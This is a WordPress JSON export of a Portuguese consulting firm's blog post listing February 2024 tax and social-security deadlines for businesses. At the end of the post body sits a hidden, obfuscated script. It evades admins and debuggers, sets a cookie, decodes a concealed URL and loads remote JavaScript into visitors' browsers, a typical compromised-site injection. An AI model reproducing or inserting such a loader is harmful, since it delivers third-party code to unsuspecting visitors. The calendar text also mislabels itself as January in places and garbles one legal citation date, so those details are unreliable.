{"id":23192,"date":"2024-01-26T10:08:15","date_gmt":"2024-01-26T10:08:15","guid":{"rendered":"https:\/\/reward.pt\/?p=23192"},"modified":"2026-04-19T04:13:54","modified_gmt":"2026-04-19T04:13:54","slug":"calendario-fiscal-fevereiro-2024","status":"publish","type":"post","link":"https:\/\/reward.pt\/en\/calendario-fiscal-fevereiro-2024\/","title":{"rendered":"Calend\u00e1rio Fiscal: Fevereiro 2024"},"content":{"rendered":"<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Fevereiro 2024 | Calend\u00e1rio fiscal - agenda fiscal\" width=\"500\" height=\"281\" src=\"https:\/\/www.youtube.com\/embed\/OyARJmZqZ0M?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<p>O Calend\u00e1rio Fiscal de Fevereiro 2024 REWARD Consulting oferece um levantamento completo dos prazos a cumprir, das obriga\u00e7\u00f5es fiscais e contabil\u00edsticas aplic\u00e1veis a empresas de todos os tipos de atividade.<\/p>\n\n\n\n<p>Este calend\u00e1rio (ou agenda) das obriga\u00e7\u00f5es fiscais e contributivas de Janeiro 2024 para empresas e empres\u00e1rios \u00e9 atualizado todos os meses e foi criado para que as organiza\u00e7\u00f5es possam alinhar as suas opera\u00e7\u00f5es com as exig\u00eancias legais em vigor em mat\u00e9ria tribut\u00e1ria e garantir uma total conformidade fiscal.<\/p>\n\n\n\n<p>No Calend\u00e1rio Fiscal Janeiro 2024 tamb\u00e9m constam os pagamentos a realizar para os v\u00e1rios impostos (IVA, IRS, IRC, Seguran\u00e7a Social, Imposto de Selo, IMI, IMT).<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Dia<\/th><th>Obriga\u00e7\u00f5es<\/th><th>Descri\u00e7\u00e3o<\/th><th>Modelo<\/th><th>Observa\u00e7\u00f5es<\/th><\/tr><\/thead><tbody><tr><td>05 Fevereiro 2024<\/td><td>IRS \/ IRC \/ IVA<\/td><td>Comunica\u00e7\u00e3o, via transmiss\u00e3o eletr\u00f3nica de dados, dos elementos das faturas emitidas no m\u00eas anterior pelas pessoas singulares ou coletivas que tenham sede, estabelecimento, est\u00e1vel ou domic\u00edlio fiscal em territ\u00f3rio portugu\u00eas e que aqui pratiquem opera\u00e7\u00f5es sujeitas a IVA.<\/td><td>SAF-T Fatura\u00e7\u00e3o<\/td><td>art. 3.\u00ba, n.\u00ba 2 DL 198\/2012<br><br>(Despacho n.\u00ba 8\/2022-XXIII, de 13 de dezembro<em>, sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td>12 Fevereiro 2024<\/td><td>IRC \/ IRS<\/td><td>Entrega da Declara\u00e7\u00e3o Modelo 10, relativa a 2023, pelos sujeitos passivos que sejam devedores de rendimentos que n\u00e3o foram declarados na declara\u00e7\u00e3o mensal de remunera\u00e7\u00f5es.<\/td><td>Modelo 10<\/td><td>art. 119.\u00ba, CIRS<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado, Portaria 8\/2023, 04\/01)<\/em><\/td><\/tr><tr><td><\/td><td>IRS \/ SS<\/td><td>Envio da Declara\u00e7\u00e3o Mensal de Remunera\u00e7\u00f5es AT\/SS, via transmiss\u00e3o eletr\u00f3nica de dados, pelas entidades devedoras de rendimentos do trabalho dependente para comunica\u00e7\u00e3o dos rendimentos e respetivas reten\u00e7\u00f5es de imposto, das dedu\u00e7\u00f5es efetuadas relativamente a contribui\u00e7\u00f5es obrigat\u00f3rias para regimes de prote\u00e7\u00e3o social e subsistemas legais de sa\u00fade e a quotiza\u00e7\u00f5es sindicais, relativas a janeiro 2024.<\/td><td>Declara\u00e7\u00e3o Mensal de Remunera\u00e7\u00f5es AT\/SS<\/td><td>art. 119.\u00ba<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td><\/td><td>IRS \/ SS<\/td><td>Envio da Declara\u00e7\u00e3o Mensal de Remunera\u00e7\u00f5es AT\/SS, via transmiss\u00e3o eletr\u00f3nica de dados, pelas entidades devedoras de rendimentos do trabalho dependente para comunica\u00e7\u00e3o dos rendimentos e respetivas reten\u00e7\u00f5es de imposto, das dedu\u00e7\u00f5es efetuadas relativamente a contribui\u00e7\u00f5es obrigat\u00f3rias para regimes de prote\u00e7\u00e3o social e subsistemas legais de sa\u00fade e a quotiza\u00e7\u00f5es sindicais, relativas ao m\u00eas anterior.<\/td><td>Declara\u00e7\u00e3o Mensal de Remunera\u00e7\u00f5es AT\/SS<\/td><td>art. 119.\u00ba, n.\u00ba 1, c)<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td>15 Fevereiro 2024<\/td><td>IRS \/ IMT \/ IS<\/td><td>Envio da Declara\u00e7\u00e3o Modelo 11, via transmiss\u00e3o eletr\u00f3nica de dados, pelos Not\u00e1rios e outros funcion\u00e1rios\/entidades que desempenhem fun\u00e7\u00f5es notariais, entidades ou profissionais com compet\u00eancia para autenticar documentos particulares que titulem atos ou contratos sujeitos a imposto sobre o rendimento ou patrim\u00f3nio, das rela\u00e7\u00f5es dos atos praticados no m\u00eas anterior.<\/td><td>Modelo 11<\/td><td>art. 123.\u00ba do CIRS <br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<br><\/em><\/td><\/tr><tr><td><\/td><td>IVA<\/td><td>Prazo para op\u00e7\u00e3o pela modalidade de pagamento do IVA das importa\u00e7\u00f5es de bens atrav\u00e9s da declara\u00e7\u00e3o peri\u00f3dica mensal no Portal das Finan\u00e7as, para come\u00e7ar no m\u00eas seguinte.<\/td><td>Op\u00e7\u00e3o IVA Importa\u00e7\u00f5es<\/td><td>art. 2.\u00ba da Portaria 215\/2017 de 20\/17<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td><\/td><td>Intrastat<\/td><td>Envio da Declara\u00e7\u00e3o Intrastat pelos sujeitos passivos cujos montantes anuais transacionados ultrapassem o limiar de assimila\u00e7\u00e3o definido pelo INE, anualmente, relativamente \u00e0s opera\u00e7\u00f5es do m\u00eas anterior.<\/td><td><\/td><td><\/td><\/tr><tr><td>20 Fevereiro 2024<\/td><td>IVA<\/td><td>Entrega da Declara\u00e7\u00e3o Modelo P2 ou guia Modelo 1074, pelos retalhistas sujeitos ao regime de tributa\u00e7\u00e3o previsto no artigo 60.\u00ba do CIVA, consoante haja, ou n\u00e3o, imposto a pagar, relativa ao 4.\u00ba trimestre 2023.<\/td><td>Declara\u00e7\u00e3o Modelo P2 \/ Guia Modelo 1074<\/td><td>art. 67.\u00ba, n.\u00ba 1, b) do CIVA<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td><\/td><td><\/td><td>Envio da Declara\u00e7\u00e3o Peri\u00f3dica, por transmiss\u00e3o eletr\u00f3nica de dados, acompanhada dos anexos que se mostrem devidos, pelos sujeitos passivos do regime normal trimestral, relativa \u00e0s opera\u00e7\u00f5es efetuadas no 4.\u00ba trimestre 2023.<\/td><td>DP IVA Regime Trimestral<\/td><td>art. 41.\u00ba CIVA<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td><\/td><td><\/td><td>Envio da Declara\u00e7\u00e3o Peri\u00f3dica, por transmiss\u00e3o eletr\u00f3nica de dados, acompanhada dos anexos que se mostrem devidos, pelos sujeitos passivos do regime normal mensal, relativa \u00e0s opera\u00e7\u00f5es efetuadas em dezembro 2023.<\/td><td>DP IVA Regime Mensal<\/td><td>art. 41.\u00ba CIVA<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td><\/td><td>IS<\/td><td>Entrega da Declara\u00e7\u00e3o Mensal de Imposto do Selo e respetivo pagamento.<\/td><td>Declara\u00e7\u00e3o Mensal de Imposto do Selo<\/td><td>art. 52.\u00ba-A, n.\u00ba 2 e 44.\u00ba, n.\u00ba 1 do CIS<br><em><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/em><\/td><\/tr><tr><td><\/td><td>IRS \/ IRC<\/td><td>Envio da declara\u00e7\u00e3o e pagamento do IRS e IRC retido no pagamento ou coloca\u00e7\u00e3o \u00e0 disposi\u00e7\u00e3o dos rendimentos, referentes a 2023.<\/td><td>Declara\u00e7\u00e3o de reten\u00e7\u00f5es na fonte de IRS \/ IRC<\/td><td>art. 98.\u00ba, n.\u00ba 3 do CIRS<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td><\/td><td><\/td><td>Envio da Declara\u00e7\u00e3o Recapitulativa, via transmiss\u00e3o eletr\u00f3nica de dados, pelos sujeitos passivos do regime normal mensal que no m\u00eas anterior tenham efetuado transmiss\u00f5es intracomunit\u00e1rias de bens e\/ou presta\u00e7\u00f5es de servi\u00e7os a sujeitos passivos registados noutros Estados-Membros, quando tais opera\u00e7\u00f5es sejam a\u00ed localizadas nos termos do art. 6.\u00ba CIVA, e para os sujeitos passivos do regime normal trimestral quando o total das transmiss\u00f5es intracomunit\u00e1rias de bens a incluir na declara\u00e7\u00e3o tenha no trimestre em curso (ou em qualquer m\u00eas do trimestre) excedido 50.000\u20ac.<\/td><td>Declara\u00e7\u00e3o Recapitulativa &#8211; Reg. Mensal<\/td><td>art. 30.\u00ba do RITI<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td><\/td><td>SS<\/td><td>Pagamento das contribui\u00e7\u00f5es para a Seguran\u00e7a Social<\/td><td>Pagamento<\/td><td>art. 43.\u00ba e 155.\u00ba CC<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td>22 Fevereiro 2024<\/td><td>Banco de Portugal<\/td><td>COPE &#8211; Comunica\u00e7\u00e3o de Opera\u00e7\u00f5es e Posi\u00e7\u00f5es com o Exterior relativas ao m\u00eas anterior.<\/td><td>COPE<\/td><td>15.\u00ba dia \u00fatil do m\u00eas<\/td><\/tr><tr><td>26 Fevereiro 2024<\/td><td>IVA<\/td><td>Pagamento do IVA a efetuar pelos sujeitos passivos do regime normal mensal, relativo \u00e0s opera\u00e7\u00f5es efetuadas em dezembro 2023.<\/td><td>Pagamento Reg. Mensal<\/td><td>art. 27.\u00ba, n.\u00ba 1 do CIVA<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td><\/td><td><\/td><td>Pagamento do IVA a efetuar pelos sujeitos passivos do regime normal trimestral, relativa \u00e0s opera\u00e7\u00f5es efetuadas no 4.\u00ba trimestre 2023.<\/td><td>Pagamento Reg. Trimestral<\/td><td>art. 27.\u00ba, n.\u00ba 1 do CIVA<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td><\/td><td>IRS<\/td><td>Prazo para confirma\u00e7\u00e3o e comunica\u00e7\u00e3o, pelos adquirentes de bens e servi\u00e7os, de faturas no E-fatura.<\/td><td>Confirma\u00e7\u00e3o SAF-T Fatura\u00e7\u00e3o<\/td><td>78.\u00ba-B, n.\u00ba 5 do CIRS<br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td>29 Fevereiro 2024<\/td><td>IRS<\/td><td>Envio da Declara\u00e7\u00e3o Modelo 39, via transmiss\u00e3o eletr\u00f3nica de dados, por entidades devedoras ou entidades que tenham pago ou colocado \u00e0 disposi\u00e7\u00e3o dos respetivos titulares os rendimentos a que se refere o artigo 71.\u00ba do CIRS ou quaisquer rendimentos sujeitos a reten\u00e7\u00e3o na fonte a t\u00edtulo definitivo, no ano anterior, cujos titulares sejam residentes e n\u00e3o beneficiem de isen\u00e7\u00e3o ou redu\u00e7\u00e3o de taxa.<\/td><td>Modelo 39<\/td><td>art. 119.\u00ba, n.\u00ba 12 CIRS<\/td><\/tr><tr><td><\/td><td>IUC<\/td><td>Pagamento do Imposto \u00danico de Circula\u00e7\u00e3o de fevereiro 2024<\/td><td>Fevereiro 24<\/td><td>artigo 17.\u00ba, n.\u00ba 2 CIUC <br><br><em>(sujeito a altera\u00e7\u00e3o se ao fim-de-semana ou feriado)<\/em><\/td><\/tr><tr><td><\/td><td>IRC \/ IRS<\/td><td>Envio da Declara\u00e7\u00e3o Modelo 42, pelas entidades que paguem subs\u00eddios ou subven\u00e7\u00f5es n\u00e3o reembols\u00e1veis no \u00e2mbito do exerc\u00edcio de uma atividade abrangida pelo artigo 3.\u00ba do CIRS, ou a sujeitos passivos de IRC, referente aos rendimentos atribu\u00eddos no ano anterior.<\/td><td>Modelo 42<\/td><td>art. 121.\u00ba do CIRS + art. 127.\u00ba do CIRC.<\/td><\/tr><tr><td><\/td><td><\/td><td>Envio da Declara\u00e7\u00e3o Modelo 30 dos rendimentos pagos ou colocados \u00e0 disposi\u00e7\u00e3o de sujeitos passivos n\u00e3o residentes no m\u00eas de dezembro do ano anterior.<\/td><td>Modelo 30<\/td><td>art. 119.\u00ba, n.\u00ba 7 do CIRS<\/td><\/tr><tr><td><\/td><td><\/td><td>Envio da Declara\u00e7\u00e3o Modelo 25, por transmiss\u00e3o eletr\u00f3nica de dados, pelas entidades benefici\u00e1rias de donativos fiscalmente relevantes no \u00e2mbito do regime consagrado no Estatuto dos Benef\u00edcios Fiscais e do Estatuto do Mecenato Cient\u00edfico recebidos no ano anterior.<\/td><td>Modelo 25<\/td><td>art. 66.\u00ba, n.\u00ba 1, c) do EBF<\/td><\/tr><tr><td><\/td><td>IRC<\/td><td>Op\u00e7\u00e3o pelo Regime Simplificado de determina\u00e7\u00e3o da mat\u00e9ria colet\u00e1vel.<\/td><td>Declara\u00e7\u00e3o de altera\u00e7\u00f5es &#8211; Reg. Simplificado<\/td><td>art. 86.\u00ba-A, n.\u00ba 3, b) do CIRC<\/td><\/tr><tr><td><\/td><td>IRS<\/td><td>Envio da Declara\u00e7\u00e3o Modelo 16, por transmiss\u00e3o eletr\u00f3nica de dados, pelas Entidades gestoras dos Fundos de Poupan\u00e7a em A\u00e7\u00f5es.<\/td><td>Modelo 16<\/td><td>DL 204\/95<br><a href=\"https:\/\/antigo.occ.pt\/calendariofiscal\/d\/index.php\" target=\"_blank\" rel=\"noopener\"><\/a><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>O Calend\u00e1rio Fiscal de Fevereiro 2024 REWARD Consulting oferece um levantamento completo dos prazos a cumprir, das obriga\u00e7\u00f5es fiscais e contabil\u00edsticas aplic\u00e1veis a empresas de todos os tipos de atividade. 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